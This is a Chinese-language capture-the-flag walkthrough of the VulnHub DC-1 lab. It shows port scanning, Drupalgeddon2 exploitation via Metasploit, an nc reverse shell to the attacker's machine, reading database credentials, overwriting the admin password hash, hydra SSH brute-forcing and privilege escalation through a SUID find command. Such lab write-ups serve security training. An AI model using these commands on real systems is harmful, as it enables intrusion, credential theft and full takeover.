靶场描述
DC-1是一个专门建造的易受攻击的实验室,目的是在渗透测试领域获得经验。
它旨在对初学者来说是一个挑战,但它的难易程度取决于您的技能和知识以及您的学习能力。
要成功完成这一挑战,您需要 Linux 技能、熟悉 Linux 命令行以及基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。
有多种方法可以扎根,但是,我包括了一些包含初学者线索的标志。
总共有五个标志,但最终目标是在 root 的主目录中查找并读取该标志。您甚至不需要是 root 用户即可执行此操作,但是,您将需要 root 权限。
根据您的技能水平,您也许可以跳过查找大多数这些标志并直接进入root。
初学者可能会遇到以前从未遇到过的挑战,但谷歌搜索应该是获得完成此挑战所需的信息所需的全部内容
技术信息
DC-1 是一个基于 Debian 32 位构建的 VirtualBox VMware,因此在大多数 PC 上运行它应该没有问题。
它当前配置为桥接网络,但是,可以更改此设置以满足您的要求。网络是为 DHCP 配置的。
安装很简单 - 下载它,解压缩它,然后将其导入VMware,然后就可以了。
环境配置
靶场下载地址: https://www.vulnhub.com/entry/dc-1,292/
下载之后使用VMware导入DC -1.ova文件 启动就行 将网段设置为NAT
这样就算是成功
信息收集
扫描机器网卡上的所有ip
arp-scan -l
看一下kali的ip地址
ifconfig
靶机: 192.168.154.129 攻击机: 192.168.154.128
ping一下目标主机看看能不能ping通
利用nmap扫描一下端口
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nmap -Pn -sV -p- 192.168.154.129
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-27 03:16 EST
Stats: 0:00:05 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 100.00% done; ETC: 03:16 (0:00:00 remaining)
Nmap scan report for 192.168.154.129
Host is up (0.00081s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
46665/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:0E:CB:92 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.22 seconds
访问80端口 看看有什么东西
大致看了一下没什么东西
现在知道他是Drupal CMS
记得Drupal有个远程命令执行(CVE-2018-7600) 正好之前复现过的大致记得流程
漏洞利用
使用神器msf模块去搜索对应的exp
search drupal
使用exploit/unix/webapp/drupal_drupalgeddon2攻击模块
use exploit/unix/webapp/drupal_drupalgeddon2
使用payload
set payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.154.129
rhosts => 192.168.154.129
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost 192.168.154.128
lhost => 192.168.154.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.154.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39927 bytes) to 192.168.154.129
[*] Meterpreter session 1 opened (192.168.154.128:4444 -> 192.168.154.129:56570) at 2022-12-27 03:23:55 -0500
meterpreter >
成功获得一个meterpreter,使用kali去反弹一个交互式的shell
nc -e /bin/bash 192.168.154.128 7777
nc -lvvp 7777
第一个flag
他的意思大概是 每一个好的CMS都需要一个配置文件
so 我们查看配置文件
第二个flag
成功获得第二个flag 发现还有数据库的一些账号密码信息,登入到数据库看看
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
啊 怎么回事数据库连接不上 这是怎么回事?知道的大佬麻烦告诉小弟一下我
我试了好几次 都未成功 最后将shell反弹到本机试了一下也是这样没有反应 算了 正好要下班了
回到家的时候 想到是不是可以写一个木马文件进去 蚁剑不是有一个数据操作
写是写进去了但是他将request函数过滤了,还得绕过太麻烦了
想到他既然可以写入是不是也可以下载呢 那就试试吧
在本机利用python3开启了一个http服务 至于为什么不用python2开是因为命令没记住
python3 -m http.server 7777
首先目录得有一个php的木马文件然后进入cmd
下载好了
我们进入目标站点看看
不负所望啊
然后蚁剑进行连接
连接成功 现在进行连接数据库
好了 话不多说有点迫不及待的看看数据库里面的东西
看到了两个库 flag文件说了在drupaldb这个库里面
翻了翻这个库发现了users表,查了一下用户名
现在查密码
好吧 还被加密了 这是什么加密方式 ???
网上查了一下说是新型的hash加密
Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了。据某个帖子说是因为现在有一个在线的MD5数据库,可以查到很多MD5码的原文,因此Drupal 7的开发者认为不能再继续采用这种极不安全的方法了,因此Drupal 7采用了新型的Hash加密方法来确保密码安全。
Drupal可以利用password-hash.sh文件来生成此种加密的
find / -name password-hash*
/var/www/scripts/password-hash.sh
cd /var/www/scripts/
发现/var/www/scripts/password-hash.sh ,于是到www目录下,然后运行
scripts/password-hash.sh admin
返回到数据库中更改密码
update users set pass="$S$D5Icw5I2FlS7lnwztuc.cyD6LnbroQVTnaSmiHSGZGxIuD7jpbJ9" where uid = 1;
返回目标站点进行登录,寻找flag3
第三个flag
于是根据提示进入etc/passwd
,找到了flag4账户
利用kali自带的hydra和rockyou.txt进行破解
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.154.129 //爆破密码
出现报错 意思是没有发现rockyou.txt文件,不对啊 这个字典是自带的
进入目录看看
cd /usr/share/wordlists/
原来是没有解压,将其解压就好了
gunzip rockyou.txt.gz
重新输入命令
发现password为orange
破解完成之后连接到flag4账户
查看flag4
第四个flag
他的意思是不能用相同的办法来访问根目录 权限不够需要提权
提权
提权我们利用find提权
find -name flag4.txt -exec /bin/bash -p \;
然后进入根目录寻找flag5
第五个flag
在root 目录下找到了最后的flag,最后5个flag全部找到了